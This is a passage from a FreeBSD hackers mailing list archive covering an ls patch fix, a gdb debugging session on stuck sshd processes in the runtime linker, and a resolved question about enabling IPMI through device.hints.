HPcCMXkFHCWmbuWA2LSUUeLIkxlgZ4oK6Eis3j8FzOYVEJQ4OfMJC8RIS4lzf66zTWAUnIUk NQtJagEj0ypG2ZTcKt3cxMyc4tRk3eLkxLy81CJdE73czBK91JTSTYzgAJXk38H47aDSIUYB DkYlHt4TZi7BQqyJZcWVuYcYJTmYlER5368BCvEl5adUZiQWZ8QXleakFh9ilOBgVhLhfZ4N lONNSaysSi3Kh0lJc7AoifO+tbYKFhJITyxJzU5NLUgtgsnKcHAoSfBO3ADUKFiUmp5akZaZ U4KQZuLgBBnOAzR8x3qQ4cUFibnFmekQ+VOMilLivDYgzQIgiYzSPLheWAJ5xSgO9Iow73SQ Kh5g8oHrfgU0mAlocKod2OCSRISUVANjddoVyd+VTxRSeqOn/xH29JplNS+jIEY3aqO2/UaZ F8lXj7wwlLlpUcIz7/6Xzv/ip/S92s7f5biaaNEy0eeH+TmdH/ee+PmkGu9eMD0uWWCtvb62 qOKSuwt3id7onHFmNue+9HduX45sODvh/+urNx4dYb5gFNli1sGckdcak5GxRLn05pYQJZbi jERDLeai4kQAaOvqmPsCAAA= Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Apr 2014 02:32:00 -0000 On Tue, 8 Apr 2014, A.J. 'Fonz' van Werven wrote: > Please note: someone else on the forums spotted a bug in my code: the > snprintf() call in octalmode() in print.c uses sizeof, which actually > refers to the size of the pointer rather than the size of the buffer > itself. I've updated the patch to just use the literal value 6 instead > (four octal digits, a space reserved for aclmode() and a terminating \0). > Since the length of said buffer has been hardcoded to 20 in the calling > function (I didn't do that, BTW), I think that should be ok. If you have a version of the patch that you're happy with, it's probably worth submitting it in a PR so that it doesn't get lost. -Ben Kaduk From owner-freebsd-hackers@FreeBSD.ORG Wed Apr 9 06:48:24 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id F3D6D518; Wed, 9 Apr 2014 06:48:23 +0000 (UTC) Received: from mail.tdx.com (mail.tdx.com [62.13.128.18]) by mx1.freebsd.org (Postfix) with ESMTP id A77001159; Wed, 9 Apr 2014 06:48:23 +0000 (UTC) Received: from study64.tdx.co.uk (study64.tdx.co.uk [62.13.130.231]) (authenticated bits=0) by mail.tdx.com (8.14.3/8.14.3/) with ESMTP id s396mJXq039801 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 9 Apr 2014 07:48:20 +0100 (BST) Date: Wed, 09 Apr 2014 07:48:19 +0100 From: Karl Pielorz To: Konstantin Belousov Subject: Re: Stuck CLOSED sockets / sshd / zombies... Message-ID: In-Reply-To: <20140408212319.GC21331@kib.kiev.ua> References: <3FE645E9723756F22EF901AE@Mail-PC.tdx.co.uk> <20140408164353.GB21331@kib.kiev.ua> <277FA3F7B4E7A98921F4D631@study64.tdx.co.uk> <201404081533.53990.jhb@freebsd.org> <92366925229B4C5B21B04D81@study64.tdx.co.uk> <20140408212319.GC21331@kib.kiev.ua> X-Mailer: Mulberry/4.0.8 (Mac OS X) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Apr 2014 06:48:24 -0000 --On 9 April 2014 00:23:19 +0300 Konstantin Belousov wrote: > Ok, so the patch sort of worked, but your rtld does not have debugging > information for compiled .c files. Please, in the patched tree, do > the following: ... > make DEBUG_FLAGS=-g DEBUG=-DDEBUG ... I only used 'DEBUG_FLAGS=-g' the first time round, I've redone now with 'DEBUG=-DDEBUG' now: " [Switching to LWP 100218] 0x00000008038ea89c in __error () from /lib/libthr.so.3 (gdb) bt #0 0x00000008038ea89c in __error () from /lib/libthr.so.3 #1 0x00000008038e104f in __thr_rwlock_rdlock (rwlock=0x803af9480, flags=, tsp=) at /usr/src/lib/libthr/thread/thr_umtx.c:277 #2 0x00000008038e821c in _thr_rtld_rlock_acquire (lock=0x803af9480) at atomic.h:143 #3 0x000000080064f9a2 in _rtld_get_stack_prot () from /libexec/ld-elf.so.1 #4 0x00000008006498c9 in r_debug_state () from /libexec/ld-elf.so.1 #5 0x00000008006470cd in .text () from /libexec/ld-elf.so.1 #6 0x000000000041072c in grace_alarm_handler (sig=-17504) at /usr/src/secure/usr.sbin/sshd/../../../crypto/openssh/sshd.c:378 #7 #8 0x00000008038ea89c in __error () from /lib/libthr.so.3 #9 0x00000008038e104f in __thr_rwlock_rdlock (rwlock=0x803af9480, flags=, tsp=) at /usr/src/lib/libthr/thread/thr_umtx.c:277 #10 0x00000008038e821c in _thr_rtld_rlock_acquire (lock=0x803af9480) at atomic.h:143 #11 0x000000080064f9a2 in _rtld_get_stack_prot () from /libexec/ld-elf.so.1 #12 0x00000008006498c9 in r_debug_state () from /libexec/ld-elf.so.1 #13 0x00000008006470cd in .text () from /libexec/ld-elf.so.1 #14 0x000000000042f9dd in sshpam_sigchld_handler (sig=) at /usr/src/secure/usr.sbin/sshd/../../../crypto/openssh/auth-pam.c:152 #15 #16 0x0000000800653aea in _rtld_atfork_post () from /libexec/ld-elf.so.1 #17 0x000000080064a835 in dlclose () from /libexec/ld-elf.so.1 #18 0x000000080064a1eb in r_debug_state () from /libexec/ld-elf.so.1 #19 0x0000000800edd121 in openpam_clear_chains () from /usr/lib/libpam.so.5 #20 0x0000000800edd0bc in openpam_clear_chains () from /usr/lib/libpam.so.5 #21 0x0000000800edd0bc in openpam_clear_chains () from /usr/lib/libpam.so.5 #22 0x0000000800edd061 in openpam_clear_chains () from /usr/lib/libpam.so.5 #23 0x0000000800ed99e7 in pam_end () from /usr/lib/libpam.so.5 #24 0x000000000042e15d in sshpam_cleanup () at /usr/src/secure/usr.sbin/sshd/../../../crypto/openssh/auth-pam.c:614 #25 0x000000000041d58f in do_cleanup (authctxt=0x80401a600) at /usr/src/secure/usr.sbin/sshd/../../../crypto/openssh/session.c:2732 #26 0x000000000041064f in ssh_cleanup_exit (i=255) at /usr/src/secure/usr.sbin/sshd/../../../crypto/openssh/sshd.c:2545 #27 0x0000000000428f83 in mm_request_receive (sock=, m=) at /usr/src/secure/usr.sbin/sshd/../../../crypto/openssh/monitor_wrap.c:153 #28 0x0000000000427e26 in monitor_read (pmonitor=0x804022220, ent=0x6465a0, pent=0x7fffffffd0c0) at /usr/src/secure/usr.sbin/sshd/../../../crypto/openssh/monitor.c:593 #29 0x0000000000427b49 in monitor_child_preauth (_authctxt=, pmonitor=0x804022220) at /usr/src/secure/usr.sbin/sshd/../../../crypto/openssh/monitor.c:387 #30 0x000000000040fd15 in main (ac=, av=) at /usr/src/secure/usr.sbin/sshd/../../../crypto/openssh/sshd.c:679 " At a quick/untrained glance the output doesn't look any different? :( -Karl From owner-freebsd-hackers@FreeBSD.ORG Wed Apr 9 08:49:57 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id D11EC95A; Wed, 9 Apr 2014 08:49:57 +0000 (UTC) Received: from kib.kiev.ua (kib.kiev.ua [IPv6:2001:470:d5e7:1::1]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 67A0C1780; Wed, 9 Apr 2014 08:49:57 +0000 (UTC) Received: from tom.home (kostik@localhost [127.0.0.1]) by kib.kiev.ua (8.14.8/8.14.8) with ESMTP id s398npg6022232; Wed, 9 Apr 2014 11:49:51 +0300 (EEST) (envelope-from kostikbel@gmail.com) DKIM-Filter: OpenDKIM Filter v2.8.3 kib.kiev.ua s398npg6022232 Received: (from kostik@localhost) by tom.home (8.14.8/8.14.8/Submit) id s398nptu022231; Wed, 9 Apr 2014 11:49:51 +0300 (EEST) (envelope-from kostikbel@gmail.com) X-Authentication-Warning: tom.home: kostik set sender to kostikbel@gmail.com using -f Date: Wed, 9 Apr 2014 11:49:51 +0300 From: Konstantin Belousov To: Karl Pielorz Subject: Re: Stuck CLOSED sockets / sshd / zombies... Message-ID: <20140409084951.GE21331@kib.kiev.ua> References: <3FE645E9723756F22EF901AE@Mail-PC.tdx.co.uk> <20140408164353.GB21331@kib.kiev.ua> <277FA3F7B4E7A98921F4D631@study64.tdx.co.uk> <201404081533.53990.jhb@freebsd.org> <92366925229B4C5B21B04D81@study64.tdx.co.uk> <20140408212319.GC21331@kib.kiev.ua> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="BhxIwg67zh/LWMpM" Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.23 (2014-03-12) X-Spam-Status: No, score=-2.0 required=5.0 tests=ALL_TRUSTED,BAYES_00, DKIM_ADSP_CUSTOM_MED,FREEMAIL_FROM,NML_ADSP_CUSTOM_MED autolearn=no autolearn_force=no version=3.4.0 X-Spam-Checker-Version: SpamAssassin 3.4.0 (2014-02-07) on tom.home Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Apr 2014 08:49:58 -0000 --BhxIwg67zh/LWMpM Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Wed, Apr 09, 2014 at 07:48:19AM +0100, Karl Pielorz wrote: >=20 >=20 > --On 9 April 2014 00:23:19 +0300 Konstantin Belousov =20 > wrote: >=20 > > Ok, so the patch sort of worked, but your rtld does not have debugging > > information for compiled .c files. Please, in the patched tree, do > > the following: > ... > > make DEBUG_FLAGS=3D-g DEBUG=3D-DDEBUG > ... >=20 > I only used 'DEBUG_FLAGS=3D-g' the first time round, I've redone now with= =20 > 'DEBUG=3D-DDEBUG' now: >=20 >=20 > " > [Switching to LWP 100218] > 0x00000008038ea89c in __error () from /lib/libthr.so.3 > (gdb) bt > #0 0x00000008038ea89c in __error () from /lib/libthr.so.3 > #1 0x00000008038e104f in __thr_rwlock_rdlock (rwlock=3D0x803af9480,=20 > flags=3D, tsp=3D) > at /usr/src/lib/libthr/thread/thr_umtx.c:277 > #2 0x00000008038e821c in _thr_rtld_rlock_acquire (lock=3D0x803af9480) at= =20 > atomic.h:143 > #3 0x000000080064f9a2 in _rtld_get_stack_prot () from /libexec/ld-elf.so= =2E1 > #4 0x00000008006498c9 in r_debug_state () from /libexec/ld-elf.so.1 > #5 0x00000008006470cd in .text () from /libexec/ld-elf.so.1 > #6 0x000000000041072c in grace_alarm_handler (sig=3D-17504) at=20 > /usr/src/secure/usr.sbin/sshd/../../../crypto/openssh/sshd.c:378 > #7 > #8 0x00000008038ea89c in __error () from /lib/libthr.so.3 > #9 0x00000008038e104f in __thr_rwlock_rdlock (rwlock=3D0x803af9480,=20 > flags=3D, tsp=3D) > at /usr/src/lib/libthr/thread/thr_umtx.c:277 > #10 0x00000008038e821c in _thr_rtld_rlock_acquire (lock=3D0x803af9480) at= =20 > atomic.h:143 > #11 0x000000080064f9a2 in _rtld_get_stack_prot () from /libexec/ld-elf.so= =2E1 > #12 0x00000008006498c9 in r_debug_state () from /libexec/ld-elf.so.1 > #13 0x00000008006470cd in .text () from /libexec/ld-elf.so.1 > #14 0x000000000042f9dd in sshpam_sigchld_handler (sig=3D out>) at=20 > /usr/src/secure/usr.sbin/sshd/../../../crypto/openssh/auth-pam.c:152 > #15 > #16 0x0000000800653aea in _rtld_atfork_post () from /libexec/ld-elf.so.1 > #17 0x000000080064a835 in dlclose () from /libexec/ld-elf.so.1 > #18 0x000000080064a1eb in r_debug_state () from /libexec/ld-elf.so.1 > #19 0x0000000800edd121 in openpam_clear_chains () from /usr/lib/libpam.so= =2E5 > #20 0x0000000800edd0bc in openpam_clear_chains () from /usr/lib/libpam.so= =2E5 > #21 0x0000000800edd0bc in openpam_clear_chains () from /usr/lib/libpam.so= =2E5 > #22 0x0000000800edd061 in openpam_clear_chains () from /usr/lib/libpam.so= =2E5 > #23 0x0000000800ed99e7 in pam_end () from /usr/lib/libpam.so.5 > #24 0x000000000042e15d in sshpam_cleanup () at=20 > /usr/src/secure/usr.sbin/sshd/../../../crypto/openssh/auth-pam.c:614 > #25 0x000000000041d58f in do_cleanup (authctxt=3D0x80401a600) at=20 > /usr/src/secure/usr.sbin/sshd/../../../crypto/openssh/session.c:2732 > #26 0x000000000041064f in ssh_cleanup_exit (i=3D255) at=20 > /usr/src/secure/usr.sbin/sshd/../../../crypto/openssh/sshd.c:2545 > #27 0x0000000000428f83 in mm_request_receive (sock=3D,=20 > m=3D) > at=20 > /usr/src/secure/usr.sbin/sshd/../../../crypto/openssh/monitor_wrap.c:153 > #28 0x0000000000427e26 in monitor_read (pmonitor=3D0x804022220,=20 > ent=3D0x6465a0, pent=3D0x7fffffffd0c0) > at /usr/src/secure/usr.sbin/sshd/../../../crypto/openssh/monitor.c:593 > #29 0x0000000000427b49 in monitor_child_preauth (_authctxt=3D optimized out>, pmonitor=3D0x804022220) > at /usr/src/secure/usr.sbin/sshd/../../../crypto/openssh/monitor.c:387 > #30 0x000000000040fd15 in main (ac=3D, av=3D optimized out>) at=20 > /usr/src/secure/usr.sbin/sshd/../../../crypto/openssh/sshd.c:679 > " >=20 > At a quick/untrained glance the output doesn't look any different? :( Hm, I think my instructions were flawed, you have to install with DEBUG_FLAGS as well: make install DEBUG_FLAGS=3D-g You do not need to re-run the tests if rtld did not changed after the installation. Reinstall and get the backtrace again, please. --BhxIwg67zh/LWMpM Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.22 (FreeBSD) iQIcBAEBAgAGBQJTRQmuAAoJEJDCuSvBvK1BKrUP/i9lyQxoZcxI04eU0B4IML1X YssUgqZM9+q6twuJOhV+l77yn/w065py93DS8h59Oe3Dlkmmz3ZFm5ES/7qxU54X NJjgAE143pt5MI+ItiVUi1Vp5h6GLc0MOJAqaAb9mcQYimp8Pnbs1q5yopdsGKvv 1Sowc0jvxghWejsxWlG49saBlaeffYP/rYIMafdgAd0P6XwpZr+JxKymHzsvwpk4 0jFOfwR4TK3LLWOgz56NIqrg3Hok8TPusjxEVKvbJb1isyBrlw/FOO3ztiDla1KX d9vz0fBytIlC0cypQMIWVsXTlv5Fyw+DH9FSBWOXGRrt5bFOjVB1A0ezd7Fq5yB6 o1VokmTHW5+XCJpPOPKlwdjBtFGG6P0HYJ7dWMHRbGgEm2Am3YLCdwr4n3oFH70G 32XdjHbN48b6eDCCK9ANAhJiA7figo64alINUYro7elD58sHyXVhaXdHV9HRNe2A PzMPt450uSmjXykYRRgLGp/yxS6YTDiCgmKW84r1dJzVqFgYGpJL0Y0WMIIaxm60 zLZib5nuSkSUJJ57jojvvXmgmmq0iLYNuzgTU5oFIzxqKfcQJEaNSS2ofjqUY0pC L0M5n5BiodFwgJS9tJLhZUVUJNv9wJVkoXVgU5EUoxrTUCY+SWjc4TslApcGIhDP yojLkg7nm6+3PTngHcWk =XpLd -----END PGP SIGNATURE----- --BhxIwg67zh/LWMpM-- From owner-freebsd-hackers@FreeBSD.ORG Wed Apr 9 08:56:29 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 392C8B0B for ; Wed, 9 Apr 2014 08:56:29 +0000 (UTC) Received: from mail-qg0-x22d.google.com (mail-qg0-x22d.google.com [IPv6:2607:f8b0:400d:c04::22d]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id F0C9C1879 for ; Wed, 9 Apr 2014 08:56:28 +0000 (UTC) Received: by mail-qg0-f45.google.com with SMTP id j5so1957795qga.4 for ; Wed, 09 Apr 2014 01:56:28 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:date:message-id:subject:from:to:content-type; bh=+ShMUdvm0UPvlASGkB/IclNn8uF4xLrNo+XCwDuaP94=; b=bqps5mBs6hnwEPzPAGE22kU+bKqKmdc6+lkLkdU1wmoXxP6Dh/SJVCRexW/xkY2qhU IqyRqUJi+ZtBjoFMpNK5+uuiH1t/joOX5bQFDlh/ng4nExA4qHlM6TyAEwu7+M09kzf+ I36THNTfLsjb2DWqgPQSqcnvWtZqP+vv5ZiIZuN8SjLay+NeEUvAalXK/nuKAU7scDl3 7gWiT8ACqGTMPDgAqihcqjJyneOjoOoq4qxUgkEENG6LdV00ZdBSRo6Wrc2WcxXbCEY5 L7tlTUq9ckr0BfiBX+kH1TqRPvONmTc7tkauFcK4EFVwq4uaUnxCDrSzCWx1Y2P5Tw00 /wow== MIME-Version: 1.0 X-Received: by 10.140.102.135 with SMTP id w7mr10138294qge.29.1397033788080; Wed, 09 Apr 2014 01:56:28 -0700 (PDT) Received: by 10.140.92.56 with HTTP; Wed, 9 Apr 2014 01:56:27 -0700 (PDT) Date: Wed, 9 Apr 2014 12:56:27 +0400 Message-ID: Subject: IPMI is broken on Intel S1200RP Board From: venom To: freebsd-hackers@freebsd.org Content-Type: text/plain; charset=ISO-8859-1 X-Content-Filtered-By: Mailman/MimeDel 2.1.17 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Apr 2014 08:56:29 -0000 Hello I have a problem on Intel S1200RP Board # uname -a FreeBSD anonymous.orb 10.0-RELEASE FreeBSD 10.0-RELEASE #0 r260789: Thu Jan 16 22:34:59 UTC 2014 root@snap.freebsd.org:/usr/obj/usr/src/sys/GENERIC amd64 # dmidecode -t 38 # dmidecode 2.12 SMBIOS 2.7 present. Handle 0x0090, DMI type 38, 16 bytes IPMI Device Information Interface Type: KCS (Keyboard Control Style) Specification Version: 2.0 I2C Slave Address: 0x10 NV Storage Device: Not Present Base Address: 0x0000000000000CA2 (I/O) # kldload ipmi # ipmitool sel list Could not open device at /dev/ipmi0 or /dev/ipmi/0 or /dev/ipmidev/0: No such file or directory Get SEL Info command failed # grep ipmi /boot/device.hints | wc -l 0 But IPMI work on Linux host part of dmesg output -------------------------------------------------------------------------------------- [ 1374.180289] ipmi message handler version 39.2 [ 1374.181442] IPMI Watchdog: driver initialized [ 1380.685919] Copyright (C) 2004 MontaVista Software - IPMI Powerdown via sys_reboot. [ 1384.000797] IPMI System Interface driver. [ 1384.000941] ipmi_si: probing via SMBIOS [ 1384.001027] ipmi_si: SMBIOS: io 0xca2 regsize 1 spacing 1 irq 0 [ 1384.001143] ipmi_si: Adding SMBIOS-specified kcs state machine [ 1384.001311] ipmi_si: probing via SPMI [ 1384.001400] ipmi_si: SPMI: io 0xca2 regsize 1 spacing 1 irq 0 [ 1384.001493] ipmi_si: Adding SPMI-specified kcs state machine duplicate interface [ 1384.001661] ipmi_si: Trying SMBIOS-specified kcs state machine at i/o address 0xca2, slave address 0x20, irq 0 [ 1384.141050] ipmi_si ipmi_si.0: Found new BMC (man_id: 0x000157, prod_id: 0x0065, dev_id: 0x21) [ 1384.142999] IPMI poweroff: ATCA Detect mfg 0x157 prod 0x65 [ 1384.143097] IPMI poweroff: Found a chassis style poweroff function [ 1384.146161] ipmi_si ipmi_si.0: IPMI kcs interface initialized [ 1401.695688] ipmi device interface -------------------------------------------------------------------------------------- # uname -rm 3.2.0-4-amd64 x86_64 # ipmitool sel SEL Information Version : 1.5 (v1.5, v2 compliant) Entries : 312 Free Space : 59886 bytes Percent Used : 7% Last Add Time : 04/09/2014 06:26:42 Last Del Time : Not Available Overflow : false Supported Cmds : 'Partial Add' 'Reserve' 'Get Alloc Info' # of Alloc Units : 3639 Alloc Unit Size : 18 # Free Units : 3327 Largest Free Blk : 3327 Max Record Size : 12 What strings need add to the file /boot/device.hints for enable access to IPMI ? -- Vladimir Laskov From owner-freebsd-hackers@FreeBSD.ORG Wed Apr 9 09:15:17 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 035313B0 for ; Wed, 9 Apr 2014 09:15:17 +0000 (UTC) Received: from mail-qg0-x22c.google.com (mail-qg0-x22c.google.com [IPv6:2607:f8b0:400d:c04::22c]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id B2A631A6F for ; Wed, 9 Apr 2014 09:15:16 +0000 (UTC) Received: by mail-qg0-f44.google.com with SMTP id a108so1982805qge.17 for ; Wed, 09 Apr 2014 02:15:15 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type; bh=FqpFI0OL69IpXSvQNR1Y5lFMykl2+C47N2e1R2Zim0M=; b=gVdTr7OUpANS1O9jbXfstr0flWYxExJ1tlMazt1KeP+PdiOgC1wlFW0YEsIN68niAW tVO1ESTDk03RcRD1okd+VJxiD6aiNJlU94dDYBZS+Xz5FpTTuXHjFk6LZVDvDYGfyODu 4ejtw+VXe2GWXAoRYqNUDNXdSzCg5zM5QM+VnnVFasN85ZZ4FzqS9WszG9geXbb4ygbb pcP2zh/hrrLkZwkKJpdfcbw5NMG5UbfEeWN9IDFG/TQr4RytYVCjwHJwV/QEZ4Tjl9Ty o9OVrvorlD/xjJBhud3q6D8J7sGqagtG5Lam4Y6I0v4y6em0448oStN7+r5uc5Zx69fT frFg== MIME-Version: 1.0 X-Received: by 10.224.47.130 with SMTP id n2mr10981568qaf.26.1397034915889; Wed, 09 Apr 2014 02:15:15 -0700 (PDT) Received: by 10.140.92.56 with HTTP; Wed, 9 Apr 2014 02:15:15 -0700 (PDT) In-Reply-To: References: Date: Wed, 9 Apr 2014 13:15:15 +0400 Message-ID: Subject: Re: IPMI is broken on Intel S1200RP Board From: venom To: freebsd-hackers@freebsd.org Content-Type: text/plain; charset=ISO-8859-1 X-Content-Filtered-By: Mailman/MimeDel 2.1.17 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Apr 2014 09:15:17 -0000 # grep ipmi /boot/device.hints hint.ipmi.0.at="isa" hint.ipmi.0.mode="KCS" # ipmitool sel SEL Information Version : 1.5 (v1.5, v2 compliant) Entries : 472 Free Space : 57006 bytes Percent Used : 11% Last Add Time : 04/09/2014 13:09:22 Last Del Time : Not Available Overflow : false Supported Cmds : 'Partial Add' 'Reserve' 'Get Alloc Info' # of Alloc Units : 3639 Alloc Unit Size : 18 # Free Units : 3167 Largest Free Blk : 3167 Max Record Size : 12 Access to IPMI is enabled, thanks -- Vladimir Laskov On Wed, Apr 9, 2014 at 12:56 PM, venom wrote: > > Hello > > I have a problem on Intel S1200RP Board > > # uname -a > FreeBSD anonymous.orb 10.0-RELEASE FreeBSD 10.0-RELEASE #0 r260789: Thu > Jan 16 22:34:59 UTC 2014 root@snap.freebsd.org:/usr/obj/usr/src/sys/GENERIC > amd64 > # dmidecode -t 38 > # dmidecode 2.12 > SMBIOS 2.7 present. > > Handle 0x0090, DMI type 38, 16 bytes > IPMI Device Information > Interface Type: KCS (Keyboard Control Style) > Specification Version: 2.0 > I2C Slave Address: 0x10 > NV Storage Device: Not Present > Base Address: 0x0000000000000CA2 (I/O) > # kldload ipmi > # ipmitool sel list > Could not open device at /dev/ipmi0 or /dev/ipmi/0 or /dev/ipmidev/0: No > such file or directory > Get SEL Info command failed > # grep ipmi /boot/device.hints | wc -l > 0 > > > > > But IPMI work on Linux host > part of dmesg output > > -------------------------------------------------------------------------------------- > [ 1374.180289] ipmi message handler version 39.2 > [ 1374.181442] IPMI Watchdog: driver initialized > [ 1380.685919] Copyright (C) 2004 MontaVista Software - IPMI Powerdown via > sys_reboot. > [ 1384.000797] IPMI System Interface driver. > [ 1384.000941] ipmi_si: probing via SMBIOS > [ 1384.001027] ipmi_si: SMBIOS: io 0xca2 regsize 1 spacing 1 irq 0 > [ 1384.001143] ipmi_si: Adding SMBIOS-specified kcs state machine > [ 1384.001311] ipmi_si: probing via SPMI > [ 1384.001400] ipmi_si: SPMI: io 0xca2 regsize 1 spacing 1 irq 0 > [ 1384.001493] ipmi_si: Adding SPMI-specified kcs state machine duplicate > interface > [ 1384.001661] ipmi_si: Trying SMBIOS-specified kcs state machine at i/o > address 0xca2, slave address 0x20, irq 0 > [ 1384.141050] ipmi_si ipmi_si.0: Found new BMC (man_id: 0x000157, > prod_id: 0x0065, dev_id: 0x21) > [ 1384.142999] IPMI poweroff: ATCA Detect mfg 0x157 prod 0x65 > [ 1384.143097] IPMI poweroff: Found a chassis style poweroff function > [ 1384.146161] ipmi_si ipmi_si.0: IPMI kcs interface initialized > [ 1401.695688] ipmi device interface > > -------------------------------------------------------------------------------------- > > # uname -rm > 3.2.0-4-amd64 x86_64 > # ipmitool sel > SEL Information > Version : 1.5 (v1.5, v2 compliant) > Entries : 312 > Free Space : 59886 bytes > Percent Used : 7% > Last Add Time : 04/09/2014 06:26:42 > Last Del Time : Not Available > Overflow : false > Supported Cmds : 'Partial Add' 'Reserve' 'Get Alloc Info' > # of Alloc Units : 3639 > Alloc Unit Size : 18 > # Free Units : 3327 > Largest Free Blk : 3327 > Max Record Size : 12 > > > > What strings need add to the file /boot/device.hints for enable access to > IPMI ? > > -- > Vladimir Laskov > > > > From owner-freebsd-hackers@FreeBSD.ORG Wed Apr 9 10:15:23 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 83184375; Wed, 9 Apr 2014 10:15:23 +0000 (UTC) Received: from mail.tdx.com (mail.tdx.com [62.13.128.18]) by mx1.freebsd.org (Postfix) with ESMTP id 36CC8116E; Wed, 9 Apr 2014 10:15:22 +0000 (UTC) Received: from Mail-PC.tdx.co.uk (storm.tdx.co.uk [62.13.130.251]) (authenticated bits=0) by mail.tdx.com (8.14.3/8.14.3/) with ESMTP id s39AFKxP058681 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 9 Apr 2014 11:15:21 +0100 (BST) Date: Wed, 09 Apr 2014 11:15:20 +0100 From: Karl Pielorz To: Konstantin Belousov Subject: Re: Stuck CLOSED sockets / sshd / zombies... Message-ID: <2A722BB3B12E0D80CA9FF075@Mail-PC.tdx.co.uk> In-Reply-To: <20140409084951.GE21331@kib.kiev.ua> References: <3FE645E9723756F22EF901AE@Mail-PC.tdx.co.uk> <20140408164353.GB21331@kib.kiev.ua> <277FA3F7B4E7A98921F4D631@study64.tdx.co.uk> <201404081533.53990.jhb@freebsd.org> <92366925229B4C5B21B04D81@study64.tdx.co.uk> <20140408212319.GC21331@kib.kiev.ua> <20140409084951.GE21331@kib.kiev.ua> X-Mailer: Mulberry/4.0.8 (Win32) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Apr 2014 10:15:23 -0000 --On 09 April 2014 11:49 +0300 Konstantin Belousov wrote: > Hm, I think my instructions were flawed, you have to install with > DEBUG_FLAGS as well: > make install DEBUG_FLAGS=-g > > You do not need to re-run the tests if rtld did not changed after > the installation. Reinstall and get the backtrace again, please. Ok, did that - output below, -Karl --- " [Switching to LWP 100218] 0x00000008038ea89c in __error () from /lib/libthr.so.3 (gdb) bt #0 0x00000008038ea89c in __error () from /lib/libthr.so.3 #1 0x00000008038e104f in __thr_rwlock_rdlock (rwlock=0x803af9480, flags=, tsp=) at /usr/src/lib/libthr/thread/thr_umtx.c:277 #2 0x00000008038e821c in _thr_rtld_rlock_acquire (lock=0x803af9480) at atomic.h:143 #3 0x000000080064f9a2 in digest_dynamic1 (obj=0x80085fe00, early=32767, dyn_rpath=0x80582a93c, 